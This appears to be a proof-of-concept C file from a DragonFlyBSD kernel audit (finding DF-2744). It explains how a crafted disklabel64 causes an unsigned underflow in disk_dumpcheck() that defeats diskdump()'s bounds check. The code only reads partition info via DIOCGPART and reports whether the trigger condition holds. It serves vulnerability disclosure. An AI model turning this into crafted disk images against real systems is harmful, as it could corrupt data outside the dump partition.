DragonFlyBSD Kernel Audit
DF-2744 / poc2744.c
← back to finding ↓ download raw
/*
 * DF-2744 PoC -- disk_dumpcheck() unsigned underflow precondition.
 *
 * sys/kern/subr_disk.c:909 computes
 *     *size = pinfo.media_blocks - pinfo.reserved_blocks;
 * (u64 - u64).  reserved_blocks comes from sp->ds_reserved, which for a
 * disklabel64 slice is d_bbase/secsize (subr_disklabel64.c:526) with d_bbase
 * taken unvalidated from the on-disk label (l64_readdisklabel checks only
 * magic/np/CRC, subr_disklabel64.c:183-190).  A crafted label therefore
 * makes reserved_blocks > media_blocks; the subtraction wraps to ~2^64,
 * defeating diskdump()'s bounds check (subr_disk.c:1291-1292) so a crash
 * dump can be written outside the dump partition.
 *
 * This PoC attaches such an image and shows, via DIOCGPART, the exact
 * field values the underflowed arithmetic consumes.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/diskslice.h>
#include <stdio.h>
#include <inttypes.h>
#include <fcntl.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	struct partinfo pi;
	int fd;

	if (argc < 2) { fprintf(stderr, "usage: %s <slicedevice>\n", argv[0]); return 2; }
	fd = open(argv[1], O_RDONLY);
	if (fd < 0) { perror("open"); return 1; }
	if (ioctl(fd, DIOCGPART, &pi) < 0) { perror("DIOCGPART"); return 1; }

	printf("media_blocks   = %" PRIu64 "\n", pi.media_blocks);
	printf("reserved_blocks= %" PRIu64 "\n", pi.reserved_blocks);
	if (pi.reserved_blocks > pi.media_blocks) {
		printf("UNDERFLOW TRIGGER: disk_dumpcheck() *size = %"
		    PRIu64 " - %" PRIu64 " = %" PRIu64
		    "  (dump bounds check defeated)\n",
		    pi.media_blocks, pi.reserved_blocks,
		    pi.media_blocks - pi.reserved_blocks);
		return 0;
	}
	printf("reserved <= blocks on this device; not triggered\n");
	return 1;
}